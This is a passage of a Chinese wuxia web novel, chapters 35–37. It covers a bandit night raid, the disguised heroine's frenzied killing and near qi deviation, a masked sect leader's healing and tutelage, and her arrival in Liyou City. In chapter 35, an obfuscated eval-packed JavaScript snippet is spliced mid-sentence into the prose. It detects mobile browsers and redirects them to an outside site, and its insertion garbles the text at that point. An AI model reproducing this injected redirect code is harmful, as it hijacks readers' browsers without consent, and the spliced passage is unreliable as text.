前一刻还在开怀畅饮的人转瞬变成无情的绞杀者,送菜还未离开的村民躲在窗边看得瞠目结舌。云梦居的人也躲在楼上不敢外出。所有人紧张地等待劫难过去。 房中,酒杯不慎落地,沈公子心有不安,问道:“客栈里的人是否都安然无恙?” 暗处鬼面人道:“歹人近不了客栈,一切无恙。” 此时,一名青衣弟子从外边匆匆跑回来,禀告道:“帮主,山匪分两路袭击我们和村子,村子那边要不要也派人过去?” 沈公子道:“重点守护客栈,其他人自求多福吧。” 弟子道:“可小夏和吴老伯他们也在村里,我们要不还是……” 房门“嘭”地一声打开,沈公子浑身戾气地冲出来揪住弟子衣襟,“如此重要的事之前为何不说?” “属下失职。”弟子怯怯低头。 青绿身影一晃,沈公子疾步冲出客栈,弟子们也纷纷跟上。 35. 夜袭(下) 客栈附近满地死尸。前来袭击的近三十个山匪死的死,逃的逃,仅剩几个还在负隅顽抗。沈公子奔出客栈,几个弟子留下清缴残余山匪,其余人皆跟随他身影奔赴村子。 村中房屋冒着火光。火光中,十多个山匪在小村子里烧杀抢掠,若不是有几个青和帮弟子抽身赶来救援,只怕这会儿小村子已被山匪荡平。 沈公子一行人赶到,亮出兵器击杀山匪,一边解救村民。 卢婆婆的小院一片漆黑,柴门紧闭。几个山匪撞不开门便翻墙而入,手执大刀朝屋里走去。药房里,吴老伯让卢婆婆藏到桌下,他抓起桌上切药的短刀刺死一名冲进屋里的山匪,夺过大刀冲到院里与其他山匪搏斗。 陆知夏被院里的打斗声吵醒,取下头上的湿帕子起身。秋菊大婶拉住她劝道:“外面现在到处都是山匪,你千万别出去。” 陆知夏悄悄走到窗边,从缝隙间往外看。院里,吴老伯正以一敌七,身中几刀,行动已稍显吃力。陆知夏顾不得许多,拿起顶门的棍子开门冲出去,对着几个山匪背影猛打。 被偷袭的山匪痛呼,转身挥舞大刀朝陆知夏砍来。吴老伯用脚挑起地上一把刀踢给陆知夏,大喊道:“用这个对付他们。” 陆知夏稳稳接住飞来的大刀却迟迟不敢出手。杀人确实省事,可她……做不到。 三把大刀齐齐向陆知夏砍来,她挥刀抵挡,始终下不了杀手。对方凶狠野蛮,她抵挡不到片刻已手心发麻,手臂酸痛。山匪始终不放过她,出手反而越发凶狠。 为了自保,陆知夏尝试还击,额上冷汗涔涔。她心想自己绝对不能输,死了就白逃出来了。她心下发狠,双手握紧大刀一阵劈砍。 混乱中,一个山匪被陆知夏毫无章法的进攻砍中腰腹,热血喷溅到她眼睛上,鲜血脏器流了一地。 陆知夏再睁眼时视线一片殷红,脑海里又开始不断闪现小玉被数把利刃扎穿胸口的惨像。她呼吸变得急促,双耳嗡鸣不止,体内一股压抑已久的力量如喷发的火山一般不可阻挡地释放。她心里充斥着强烈恨意,恨不得杀光所有滥杀无辜的败类,恨他们视人命如草芥的自私行径。清明的眼神也被恨意占据,她神情阴郁,目光凌厉,催动体内的巨大能量,握紧手里的刀主动出击,逼得两个山匪连连后退。 陆知夏眼中杀气外露,今日她就要大开杀戒,让他们也尝尝被人随意夺去性命的滋味。她不知如何想起了多年前学过的招式,出手精准无情,将山匪一一斩杀刀下。吴老伯惊讶地看着忽然间杀人不眨眼的陆知夏,感觉她变了个人。 对付吴老伯的几个山匪见同伴被陆知夏所杀,调转刀锋齐齐向她攻来。吴老伯流血过多想帮忙却已力不从心。 陆知夏一人对战四个凶悍山匪略显吃力。杀了两人后,但她也被人偷袭,小腹挨了一脚摔倒在地,余下两个山匪趁机挥刀往她身上砍来。千钧一发之际,屋檐上射来一道寒芒,两个山匪闷哼一声倒地,脖颈后皆插着一把飞刀。 陆知夏胸中怒焰难消,从地上爬起来,提刀冲出门去。 “小夏,你去哪?快回来。”吴老伯越发觉得陆知夏行为反常,担心她的安危,带伤提刀追上去。 * 一处大门敞开的房舍里飘来血腥味,老村长扑倒在血泊里,几个山匪在屋里四处翻找值钱的东西。 陆知夏路过杀意骤起,提刀冲进门见人就砍,下手精准无情。没反应过来的山匪当场倒在血泊里,其他山匪被忽然出现的疯小子吓得狼狈逃窜。陆知夏也提刀追出门去。 路遇一个山匪在欺负妇女,陆知夏挥刀冲上去对着他后背狂砍。身中数刀的山匪连滚带爬缩到墙角跪地求饶。陆知夏不带丝毫犹豫一刀封了他的喉。山匪血溅三尺倒地而亡。陆知夏仍不肯罢手,挥刀对着地上的尸体一阵狂砍。鲜血四溅中她也流下两道血泪,恨声道:“你们一个个都该死!” 地上的尸体被陆知夏砍得血肉模糊,妇人缩在墙角瑟瑟发抖地看着一脸血泪的陆知夏。此刻的她像是地狱里索命的恶鬼,也像悲悯众生无奈堕魔的菩萨。 “够了。” 一把弯刀挑开陆知夏手里的刀。 “他已经死了。”沈公子拉住失去理智的小伙计,难以置信地看着他。 “用不着你管!”陆知夏甩开沈公子的手,捡起地上的刀作势又要劈砍。 沈公子再次击落小伙计手里的刀,顺势将他打晕扶住。 吴老伯一瘸一拐赶上来,紧张道:“沈公子,小夏病了,并非有意如此,你别同她计较。” 二人相贴,沈公子也早察觉小伙计体温有异,蹲下作势要将她背起。吴老伯道:“不劳公子费心,小夏还是交给我照顾吧。” 沈公子扫了吴老伯一眼,“你护得了他吗?”冰冷的语气里带着一丝怨气。他将小伙计背起,大步往前走。吴老伯愣了片刻,一瘸一拐跟上他。 村里残余几个山匪被青和帮弟子紧追不舍,迎面碰上走来的银面人。穷途末路之际,他们依旧凶残地挥刀而来。沈公子眼神一凛,周身戾气暴涨的同时拔出腰间弯刀迅速出手。 寒芒脱手飞出,裹挟着强劲内力的两尺弯刀绕着山匪飞旋而过,惨叫声此起彼伏,鲜血四溅。场中安静下来后,山匪皆倒地不动,弯刀兜转一圈稳稳落回主人手中。刀身依旧光洁,不沾一丝血污。 吴老伯愣在原地,整个江湖能把弯刀使到这种境界的没几个人,他不禁开始猜测沈公子的真实身份。 山匪已被尽数剿灭,沈公子将弯刀收回腰间,背着陆知夏继续往村口方向走。弟子们留下善后。吴老伯回过神时沈公子已走远,他紧跟上去,心里隐隐担忧。只盼他不认识小夏,否则可不好对付。 * 客栈有青和帮的人守护一切安然无恙。 沈公子背陆知夏上楼惹来周围姑娘好奇张望。倾月见吴老伯受伤,拿着药箱跟进房中。 沈公子将陆知夏小心放在床上却并未离开。倾月给吴老伯包扎伤口,问道:“你们方才去哪了?怎会弄成这样?” 吴老伯道:“小夏发高烧,我带她去村里抓药,没想到会遇上山匪夜袭。还好沈公子他们及时赶来相救,否则我和小夏都回不来了。” “小夏也受伤了吗?”倾月上前查看陆知夏的情况。 沈公子见倾月是医者才起身让至一旁,说道:“他没受伤,那些血是别人的,他只是被我打晕了。” 倾月也没询问原因,为陆知夏仔细号脉后说道:“风寒只是小问题,如今她内息紊乱,有走火入魔之兆。若不及时调息定会损伤经脉,丧失神智。” “怎么会如此?”沈公子语气里透着一丝自责,袖子下的手紧握成拳。 倾月道:“必是她动武时心绪不宁所致。此前她是不是受了什么刺激。” 无人回答她。 过了一会儿,沈公子道:“我来替她运功疗伤,你们出去守着。” 闻言,倾月和吴老伯怔住。为别人运功疗伤会耗损自身内力,沈公子贵为一帮之主竟肯为一个萍水相逢、籍籍无名之人运功疗伤,倾月十分佩服。而吴老伯心中忧虑跟甚。但眼下救人要紧,二人默默向外走去。 * 窗外清风徐徐而入,房里灯火摇曳。 沈公子扶陆知夏坐起来,让她靠着自己的肩,用帕子轻轻拭去她脸上血污。眼前浮现方才她疯魔砍人的样子,他轻声叹息。若他晚来一日,不知她是何处境…… 他心里十分自责,早知旁人不会心细如发地守护她,就算再忙他也要抽调高手来保护她。 轻叹一声,沈公子扶陆知夏盘膝坐好,自己也盘膝坐于她身后,双掌汇聚内力,缓缓贴上她后背。 混沌中,陆知夏感觉一股暖流从后背注入体内,经脉里紊乱的内息在那股暖流的引导下正常流转,胸口不适舒缓许多,意识也渐渐清晰。她微微睁眼,透过对面小几摆着的铜镜看到身后一角银制面具。 烛光下,银制面具散着黯淡柔和的光泽。陆知夏微微张口,声音沙哑道:“方才我是不是杀了很多人?” “那些山匪平日无恶不作,他们该死。”身后传来沈公子低沉冷冽的声音。 沉默良久,陆知夏肩头轻颤,带着哭腔道:“什么样的人该死呢?我杀了人,是不是也该死?” 沈公子一怔,垂眸喃喃道:“不一样,你跟他们不一样……” 陆知夏疲倦至极又闭眼睡去。 梦境纷乱复杂。混沌中眼前一亮,陆知夏发现自己置身于一处艳阳高照,无边无际的梦幻花田中。远处隐隐有一高一矮两道纤柔身影在花海里奔跑嬉戏。陆知夏眯眼看去认出二人,双手合拢,大声唤道:“娘,小玉。” 二人回头,笑容灿烂,朝陆知夏不停挥手。 陆知夏越过重重花海飞奔到二人面前,看着她们熟悉清晰的面庞红了眼眶。她们也看着陆知夏,眉眼柔和。 “知夏。” “小姐。” 二人依次取下头上花环轻轻放在陆知夏头上,牵着她的手,异口同声温柔道:“好好活下去。” 陆知夏紧紧握着她们的手,流泪点头。 头顶晴好的天气陡然转阴,电闪雷鸣中暴雨突至。转眼母亲和小玉也消失得无影无踪,身边花田也黯然失色,慢慢变成无边晦暗的荒野。失落与孤寂中陆知夏被大雨浇透,不知所措。头顶乍响一声惊雷,陆知夏尖叫着从梦境中醒来。 “小夏,你做噩梦了?” 面前一名绿衣姑娘满脸担忧地看着她,一只手拿着帕子替她擦汗。陆知夏怔怔拍开她的手,惊慌道:“你是谁?” 绿衣姑娘“啧”了一声,叉腰道:“少跟我装失忆!我,倾月,你不记得了?咱们一起在浴池打架认识的。” 陆知夏渐渐从噩梦的惊吓中走出来,看着周围略微熟悉的一切,迟钝的脑子终于正常运转起来,“我想起来了,你是倾月,这儿是我们一起避雨的那家黑店。” 倾月松了口气,轻声道:“那你现在感觉如何?还有哪儿不舒服?” “嗓子疼。”一咽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083148|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口水陆知夏就感觉嗓子里像有刀刮似的。 倾月从随身背的小荷包里取出一瓶药给她,“一日服用五粒,两日包好。” 陆知夏道谢,立刻服了一粒。净白药丸服下后嗓子清清凉凉的舒服许多。她想起山匪夜袭村子的事,问道:“后来山匪都赶跑了吗?村里情况如何?” 提起昨夜的事,倾月感慨道:“昨夜实在太惊险了,据说近五十个山匪同时袭击客栈和村子。还好有青和帮的人在。他们武功高强,把那些山匪杀得片甲不留。客栈里一切安好,倒是村里死了不少人,侥幸活下来的没几个,如今在客栈里避难。” 陆知夏愤愤道:“这些山匪真可恶,昨夜我就该多杀几个。” “别。”倾月神情又显紧张,“你学艺不精还妄动内力,昨晚险些走火入魔。若不是遇上沈公子这样的大善人为你调息,我一时半会儿还真不知用什么法子救你。” 陆知夏恍惚想起铜镜里那一角泛着柔和光晕的银制面具、贴着后背宽大温暖的手掌以及她半梦半醒间说的胡话。她眉心一蹙,紧张道:“他,他没发现我的身份吧?” 倾月道:“我和吴老伯一直在外边守着,人家又是正人君子,不会对你动手动脚的。” 可陆知夏看着自己身上换的干净衣裳仍是忧虑。 倾月似笑非笑地斜睨她,说道:“衣服是我帮你换的,大家同是女子,你应该不会介意吧。” 陆知夏暗自翻了个白眼。得,这回她们总算扯平了。 窗外蓝天白云,阳光灿烂,看样子近期不会再有雨,陆知夏问道:“路打通了,沈公子他们打算何时启程?” 倾月摇头,“昨夜对付山匪,青和帮虽无伤亡,但他们的马车有些损坏正在修,一时半会儿走不了。” 房门开了,吴老伯端着刚熬好的药走进来。陆知夏看他行动迟缓,关心道:“吴老伯,你的伤不要紧吧?” “一点皮外伤而已,养几日就好,不碍事。”吴老伯将药递给陆知夏。倾月有事先行离开。 屋里仅剩二人,吴老伯担忧一晚,犹豫再三还是忍不住开口问道:“小夏,你与沈公子之前认识吗?” 陆知夏一怔,说道:“我昨日给他送饭同他说过几句话,应该不算认识吧。” 吴老伯右手抚着下巴,若有所思道:“可我怎么感觉他好像对你有些不同。” 陆知夏眨眨眼,“哪里不同?” “没事,或许是我多心了。”吴老伯也只是猜测,不忍给她增添烦恼。即便沈公子认识她,到现在也没挑明她的身份,说明他不想掺和她的事。只要大家井水不犯河水便相安无事,没必要追根问底。 服过药,陆知夏躺下休息,吴老伯也不再打扰,端着空碗关门离去。 陆知夏望着帐顶叹息。她运气真背,才重获自由几日就病倒了。药效发挥,她脑子昏昏沉沉又闭眼睡去。 午后吴老伯端着饭菜过来,陆知夏一觉醒来感觉精神许多,望着面前饭菜惊讶道:“这些是谁做的?” 吴老伯道:“秋菊做的,为了感谢青和帮的救命之恩,他们在客栈帮忙做事。” 陆知夏端起碗吃饭,吴老伯开始替她收拾,说道:“半个时辰后我们就启程了,明日肯定能到离忧城。” 陆知夏心中惆怅,到了离忧城也意味着他们要分别了…… * 日头偏西,青和帮的人将货物装点完毕,其余人也拿着行囊到客栈外集合。 村子被毁,沈公子命人给幸存的村民发盘缠,劝他们尽快离开此处去外地投奔亲戚。村民们谢过沈公子,结伴离开。剩下要到离忧城的人各自上车,随商队启程。 商队里,只有沈公子乘的马车有篷,其他是载货的无篷马车。蓝天白云下,云梦居的姑娘们给清一色男子的商队增添几抹艳色。 附近一处山头上伏着几个浑身狼狈的山匪,一个个目光愤恨地瞪着下边小路上的商队。中间一个头缠纱布的独眼男正是昨晚策划偷袭的山匪头子,他瞪着商队里挂着青色帘子的马车咬牙道:“姓沈的,这笔仇改日定要你双倍奉还!” 身边一名手下道:“三当家,咱们折了这么多人也没捞到好处,接下来怎么办?” 独眼男不耐烦道:“还能怎么办,当然是回山寨。大公子不日回城,说不定要干一番大事。我们回去等大当家吩咐,争取将功补过吧。” 另一名手下道:“沈公子一向行踪诡秘,这次怎会亲自护送货物?他们箱子里装的东西定然十分重要,会不会是大公子的那批货?” 独眼男若有所思,说道:“青和帮在离忧城的势力不容小觑,若他真参与此事非敌即友,咱们回去打听一番便知。但愿这尊杀神别跟咱们对着干,否则……” 回想昨夜沈公子一路杀入村,眼睛都不眨一下的情形令他心有余悸。不知道的人还以为他们抢了他的宝贝。若真成这尊杀神的仇家,那不得死无全尸,被他剁碎不可? 想到此处,独眼男打了个寒战,挥手带领残余手下离开。 36. 心病 八月的天午后阳光耀眼,空气也无比闷热。 商队里一辆无蓬的马车上用帐篷布简单搭了个凉篷,云梦居的姑娘们挤坐在蓬下,这才免受日晒之苦。但四下无风,她们挤在一起也不好受,一个个面色潮红,香汗淋漓。 吴老伯和小离负责赶车,不时听后边的姑娘们抱怨。 小蝶姑娘一边用手扇风,一边回头瞟向后边那辆挂着青绿帘子的华丽马车,心有不满道:“沈公子一点也不懂怜香惜玉。” 旁边的黄衣姑娘道:“有辆车坐就不错了。若你想去后边陪沈公子,要不也装病?” 闻言,倾月不悦道:“小夏真的病了。昨夜她突发高烧,天快亮才退烧,眼下不能吹风暴晒的。” 黄衣姑娘轻哼一声,阴阳怪气道:“一个大男人身子骨比咱们女儿家还娇弱,真丢人。” 小蝶附和道:“就是。也就人家沈公子心善,主动让他上车。若换成别人,有优待的定是咱们。” 倾月知道她们话里有话,本想帮陆知夏争口气,但又怕自己不小心泄露她的秘密,索性把脸转向一边,不搭理这些傲慢无礼的女子。 华丽马车缓慢平稳前行,车厢内部空间宽大,陈设精巧雅致。沈公子盘膝坐于小桌旁书写信件,陆知夏靠坐在一侧窗边闭目养神,二人只上车时寒暄几句,此后便一路无话。 路途漫长枯燥,陆知夏渐渐睡去。一觉醒来天色昏暗,他们仍在赶路。她挑开帘子,带着暑气的晚风迎面吹在脸上,柔柔的很舒服。看着橘色夕阳,嗅着道旁青草花香,她的心情不觉愉悦起来。 手里的帘子忽然脱手,陆知夏转头,沈公子不知何时到了身侧,放下帘子,淡淡道:“风寒未愈,不宜吹风。” 鼻端萦绕着来自他身上的淡淡兰草清香,陆知夏紧张往旁边挪了挪,同他拉开一丝距离。 沈公子回头将桌上笔墨一收,招呼陆知夏过来坐。 昨夜的事陆知夏还未正式向沈公子道谢,她上前拱手一拜:“昨夜多谢公子出手相救,这份恩情夏蝉铭记于心,来日必定报答。” 沈公子倒了杯茶放到陆知夏面前,淡淡道:“你想如何报答?” 陆知夏局促冒汗,这人还真是直接!但她一时半会还没想好怎么报答,沉默思索。 沈公子抿了一口茶,悠悠道:“不如以身相许,如何?” “这,这怎么可以……”陆知夏难以置信地望着沈公子。莫非他是断袖?还是识破了她的女儿身? 沈公子朗声一笑,说道:“开个玩笑罢了,不必紧张。我看小夏厨艺不错,我走南闯北身边也缺个私厨,不如你来我青和帮做事,工钱我照给。” 陆知夏松了口气,仍是委婉地谢绝了他。沈公子虽是一番好意,但她并非专业厨子,做的家常菜也难登大雅之堂,说不定他吃几日便腻了。况且她好不容易从家里逃出来,只想过自由自在的生活,不想被任何规矩束缚。 沈公子被拒绝也不恼,但他暂时没别的想法便不再提报恩的事。面具下深邃的眸子还显出几分关心看着面前的人,“离忧城最近不太平,你一定要去那儿吗?” 陆知夏耷拉着脑袋不说话。她对外边的世界一无所知,除了离忧城她不知能去哪儿。 沈公子道:“若是在城里遇到困难,不妨到青莲堂找我。” 陆知夏一怔,抬头忧色尽去,眉眼弯弯地说道:“公子人真好,等我忙完自己的事一定去找你报恩。” 沈公子微愣,深邃眼瞳中倒映着一张明媚笑靥。这么多年来,他们第一次平心静气面对面说话,她也是第一次……对他微笑。 * 夜里,商队在一条银波荡漾的大河边露宿。 云梦居的人安顿好后,倾月拿着水囊独自走到河边打水。岸边坐着一名灰布麻衣的清秀男子,背影熟悉,倾月展颜上前拍他的肩,调笑道:“怎么样,跟沈公子相处得还愉快吗?” 陆知夏侧头淡淡一笑,“嗯,他人还不错。” 倾月往陆知夏身边一坐,同她望着月光下银光闪烁的宽广河面发呆。旅途的烦闷逐渐被清凉的风吹散,整个人精神不少,欢快地哼起小曲儿。 陆知夏道:“我们明日能到离忧城吧?” 倾月抱膝把玩着身边花草,说道:“离忧城就在这条无忧河的上游,就算是爬,明日天黑前也一定能到。” 想到未知的前途,陆知夏心下又是一片茫然,随口问道:“你在离忧城生活多久了?可不可以和我说说离忧城是个什么样的地方?” 倾月道:“我是两个月前来离忧城的。虽然待的时间不长,但总体感觉不错。城里繁华热闹,吃喝玩乐的地方应有尽有,百姓也热情好客。我很少在一个地方久留,但到了离忧城后就不舍得走了。” 陆知夏望着倾月神采飞扬的眸子,笑道:“城里都有哪些好吃的?给我介绍介绍呗。” 提到吃的,倾月两眼放光,“醉仙楼的烤鸭你一定不能错过,皮酥肉香,调料也美味独特,包你吃过一回永生难忘。还有仰鹤楼的点心,虽然每样精致小巧,但入口软糯香酥,口感味道一绝。还有还有……”她越说越来劲,不自觉咽了好几次口水。 听她眉飞色舞地说完,陆知夏道:“好,有机会我一定都去尝尝。” 倾月好奇问道:“你去离忧城做什么?探亲还是游玩?” 陆知夏随口胡诌:“游玩。” “那你可以来云梦居找我呀!”倾月兴奋道:“我空闲时间多,你请我吃喝,我免费给你当向导。” 陆知夏好奇道:“云梦居究竟是什么地方?” 倾月道:“云梦居是萧城主赐给萧二公子的雅舍,地处城中繁华之处。萧二公子素好风雅,常在此处待客会友,紫菱姐姐她们都是云梦居的侍女。” 陆知夏望着她,“那你呢?” 倾月把玩着花草,淡淡道:“我先前只是一个游医,菱姐姐病重四处寻医恰好碰上我。治好她的病后她就留我长住云梦居,还有固定月奉领,我这才过上了安稳日子。” 陆知夏恍然大悟,“难怪你与那些姑娘秉性相差那么大。” 倾月道:“我自然与那些娇滴滴的侍女不同,她们是城主特意为萧二公子搜罗来的美女,有些人之前还是闺阁小姐呢。但她们表面过得风光,这辈子却只能侍奉在萧二公子左右。而我不同,我想走随时可以离开。” 陆知夏感慨道:“这么说她们都是萧二公子的女人?有如此多年轻貌美的女子相伴,这位萧二公子真是艳福不浅啊。” 倾月小声道:“云梦居的侍女还远不止她们这几个,但萧二公子是正人君子,与她们只是主仆关系。” 不知不觉聊到了别人的私事,陆知夏转移话题,关心道:“你一个人行走江湖家人不担心吗?” 倾月眼神一黯,失落道:“我没有家人,幼时他们就把我扔了,是师父捡我回来养大的。可惜师父她老人家两年前也仙去了,虽然我还有个从小一起长大的师兄,但他早早出谷游历,多年没回过家,我一个人在家里呆着无聊就跑出来游历江湖。” 陆知夏道:“你住的那个谷,该不会是妙云谷吧?” “你怎么知道?”倾月一脸惊讶。 “我瞎猜的。”陆知夏确实是瞎猜的。她与倾月相处几日,发现她言行豪放,像江湖中人,再加上年纪轻轻医术精湛,除了妙云谷,陆知夏想不出还有哪个专研医道的门派。 倾月探究般看着陆知夏,“一猜就中,你该不会也是江湖中人吧?” 陆知夏故作神秘,“那你猜猜我是哪个门派的?” “你擅使棍棒,衣着朴素,定是丐帮的净衣弟子。”倾月语气坚定。 陆知夏以手抚额,若是让她爹听到外人对她如此评价,非得气死不可。幼时学了几年云苍剑法,最后招式被她拆得七零八落用来使棍子,她愧对父亲,愧对祖师爷。 “猜得不对吗?”倾月见陆知夏沉默不语,一脸愧色,顿感纳闷。 “你慢慢猜。”陆知夏起身要走。 几个青衣弟子结伴来到河边宽衣解带,天气炎热,看样子他们打算下河洗澡。陆知夏和倾月立刻捂眼离开。 营地里燃着几堆火,众人围在火堆旁烤鱼。快烤好的鱼撒上独特的香料,立刻香味四溢,引人垂涎。陆知夏和倾月也加入其中。柔和月色下,清风阵阵的河岸边,一群人围在一起吃喝赏月,其乐融融。 * 深夜,营地火光黯淡,三处帐篷里也漆黑一片。周围除了几名巡夜的弟子在走动,其余人都已进入梦乡。 陆知夏和吴老伯同青和帮弟子住一顶大帐篷,天还没亮她被噩梦惊醒,浑身汗湿却还直打哆嗦。她睡意全无,轻手轻脚起身,掀开帘子向河边走去。< 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原来沈公子一直都在。 陆知夏犹豫片刻,还是握住那只手,借力站起来。 “男儿有泪不轻弹。”沈公子将一方素帕递给陆知夏。 可她不是男子,情绪脆弱时被人关怀令她又红了眼。泪水决堤前,她接过沈公子手里的帕子,转身抹泪。 望着雾气弥漫的广阔河面,陆知夏将心里挤压的情绪发泄完,启唇问道:“沈公子,容我冒昧问一句,你第一次杀人的时候是什么感觉?” “快意。”沈公子回答得简单干脆,却让陆知夏莫名胆寒。 沈公子扶着她的肩将她转过身来,看着她红肿的杏眸说道:“只要杀的是该杀之人,你无需自责难过。倘若你连杀个恶贼也良心不安,日后如何在这弱肉强食的江湖生存下去?” 陆知夏垂眸,惭愧道:“让公子见笑了。” 沈公子叹息道:“你初入江湖,应该学会把善良收一收。” 陆知夏轻轻点头,抬起一双雾蒙蒙的杏眸看着他,“多谢公子教诲。” 月光下,杏眸娇弱柔美,令人心生怜爱。沈公子失神片刻,侧身说道:“你学艺不精妄动内力是很危险的,既然你我有缘,我传你一套内功心法,日后你勤加修炼必不会再走火入魔。” 陆知夏微愣,沈公子竟然要教她武功! “怎么,不想练?”沈公子见她愣着不作声,抬步要走。 陆知夏赶紧扯住他衣袖,抱拳道:“公子一番好意夏蝉怎敢辜负,夏蝉一定用心学。” 沈公子唇角微扬,掀袍盘膝而坐。陆知夏也盘膝坐下,专心记下沈公子教授的心法口诀,再照着闭眼调息。 沈公子睁开眼,看着用心练习的陆知夏欣慰一笑,再次缓缓闭上眼睛。他们虽然只是安静坐着,但他心中却感到从未有过的安定,连耳畔涛涛不绝的流水声也变得清脆欢快。 陆知夏渐渐入定,身边万事万物都与她隔绝开来。内力运行一个小周天后她感觉身上果然清爽许多,睁眼时发现自己身上披着一件青绿袍子,沈公子还在专心打坐。 她光明正大盯着银制面具下的半张脸出神。沈公子身形样貌确实与那该死的冤家有几分像,但性子却天差地别,武功也比他高,应该不会是同一个人。但她还是按捺不住好奇心,将身上披着的袍子取下,慢慢走到沈公子身边。 一只纤细的手偷偷摸摸伸向沈公子后脑系着活结的深青色绸带。 “心法有何不明白之处?”沈公子缓缓睁眼。后边的手也迅速缩回。 “公子教导有方,夏蝉已领会要领。”陆知夏将袍子轻轻搭在沈公子肩上,讪笑道:“河边风大,公子小心着凉。” “今日便练到这儿,日后若有不明白的再来问我。”沈公子将袍子穿上,起身向帐篷方向走去。陆知夏追上去道谢。 回到营地已近黎明,二人分开,陆知夏独自向大帐篷走去。 “小夏。” 陆知夏回头,沈公子看着她欲言又止,最后说道:“回去好好休息,记得盖好被子别再着凉了。” “知道啦。”陆知夏莞尔,没想到沈公子也这么婆婆妈妈的。但被人关心她心里还是感觉暖暖的。 沈公子看着清瘦身影掀帘进帐才放心抬步回自己的帐子歇息。 37. 入城(上) 天亮收拾妥当,一行人又继续赶路。 午后,商队在一处十字路口前停下,在此远眺可见城楼一角。离忧城快到了,云梦居的姑娘们开心不已,但商队却不再前进。 一名青衣弟子来到吴老伯他们的车前,说道:“城门距此不远,各位走半个时辰就到了,咱们就此别过。” “你们不进城?”吴老伯略显惊讶。 弟子道:“我们与货主约定在城外交货,交货后方入城。这是青和帮的私事,就不耽误各位行程。” 吴老伯和云梦居的人背着包袱下车到沈公子车前道谢。陆知夏也背上包袱同沈公子道别。沈公子挽留道:“待遇优厚,小夏真的不考虑来我青和帮做事?” 陆知夏略显为难。 沈公子眼神微黯,“无妨,顺手相救之事不必挂怀,去做你想做的吧。” 陆知夏并非想赖账,只是她惹了一身麻烦不想连累恩人。她抬起手掌认真看着沈公子,“咱们击掌为誓,等我将麻烦事解决定登门报恩。” 沈公子不动。陆知夏叹气,伸手过去想拍他,但又觉不妥,最终食指轻轻戳了戳他左肩,微微一笑,“就这么定了,公子保重。” 沈公子看着清瘦身影掀开帘子头也不回地离去,嘴边想说的话终是咽了下去。她想要自由他又怎忍勉强。只是方才她指尖触到他身上那一刻,为何他觉得心里甜丝丝的? 陆知夏同候在不远处的吴老伯汇合,一同往离忧城方向走去。 外人离开后,商队转移到一条僻静小道上停歇。 半个时辰后,一阵急促马蹄声打破平静。 一名红衣女子朝商队方向打马而来。她身材姣好却戴着一张惨白哭泣的鬼面,背负弓箭,箭尾红羽随风飘扬。 “容堂主。”青衣弟子朝勒马停下的白脸鬼面女子抱拳作礼。 白脸鬼面女子翻身下马,来到沈公子马车前抱拳道:“少主,暗庄的人已上钩,寨子那边属下也已按杨晚带来的口信部署妥当,咱们何时行动?” “不急。”马车里传来沈公子悠然的声音:“强攻风险大,等青烛那边办妥了再动手。” * 以防万一,陆知夏和吴老伯同云梦居的人提前分开,抹黑脸扮作乞丐混入城中。 日影偏西,离忧城街头车水马龙,热闹喧嚣。陆知夏无心赏景,随吴老伯来到城西路口一家王记杂货铺找人。 铺子里生意清淡,几个伙计在厅里擦拭货架。吴老伯先进去,不久朝门外的陆知夏招手,二人一同随伙计往后院走。 后门附近,一名打扮精致的妇人正同几名伙计在清点新到的货物。伙计领着一老一少上前道:“掌柜的,有人找。” 王掌柜停下手里记账的笔,抬眸看向来人,微笑道:“这不是老吴吗,什么风把你吹来了?” 吴老伯道:“路过离忧城,顺道过来看看你。怎么样,最近生意还行吧?” 王掌柜摇头叹息,“最近城里不太平,经常封街,生意没以前好做了。” 陆知夏打量这个王掌柜,她看上去虽有四十左右,但眉眼依旧灵动,气质沉稳,颇有女商人风范。 王掌柜也注意到站在吴老伯身边的清瘦小伙子,问道:“这个年轻人是你新收的徒弟?” 吴老伯扫了一眼周围的人,似乎不方便回答。王掌柜挥手让其他人退下。 吴老伯带陆知夏上前,说道:“这位夏姑娘是彩衣的远房亲戚。家里逼婚,她好不容易逃出来,想在离忧城暂避一段时日,麻烦你给她安排一处落脚之地。 “没问题。”王掌柜干脆答应,“彩衣有间托我照看的宅子还空着,一会儿我就带小夏姑娘过去。” 吴老伯又小声补充一句:“夏姑娘的身份你一定要保密。” 王掌柜没有多问,了然点头。 回头交代好铺子里的事,王掌柜带二人从后门离开。兜兜转转来到一处清静民巷。这里附近多是普通百姓居住的小院,生活气息浓厚。他们在一处大门位置隐蔽的小院前停下,王掌柜开锁请二人进去,谨慎地关上门。 小院不大,入门一眼看完全貌。东西北面各一间房,房距挨得不算太近,院里空间也较宽敞,有水井和石桌,还有晾衣的架子,看起来朴素宜居,陆知夏很满意。 王掌柜带二人在院里走了一圈。陆知夏发现这里处处干净整洁,物资充足,平日定有人常来打理。 王掌柜打量陆知夏清瘦的身板,问道:“夏姑娘平日自己做饭洗衣没问题吧?” 陆知夏道:“王掌柜放心,家务活我都能干,我可以自己照顾自己。” 王掌柜微笑点头。这下不必费心再给她寻个嘴严的丫头了。 逛完一圈,王掌柜有事急着离开,将钥匙交给陆知夏,说道:“这院子姑娘想住多久都行,分文不收。有空我会过来看你,若遇到困难尽管同我说,别客气。” 陆知夏十分感激,拱手道谢,目送王掌柜离开。 安顿好陆知夏,吴老伯的使命也顺利完成。他拱手与陆知夏作别。 陆知夏从怀里取出一个钱袋给吴老伯,这是她在路上赚到的银子。虽然不知道够不够买一辆马车,但拿来做路上用的盘缠也好。 “不必了。”吴老伯将银子推还陆知夏,“你孤身在外用钱的地方很多,这些银子自己留着吧。” 陆知夏心头微暖,双膝一软就要下跪。吴老伯扶住她,叮嘱她一个人在外要好好照顾自己,凡事不可鲁莽行事。陆知夏谨记在心,依依不舍地送他出门。 再回院里时,四周安安静静,天地间好像只剩下陆知夏一人。她在石桌旁坐下,双手撑腮发呆,许久才进屋。 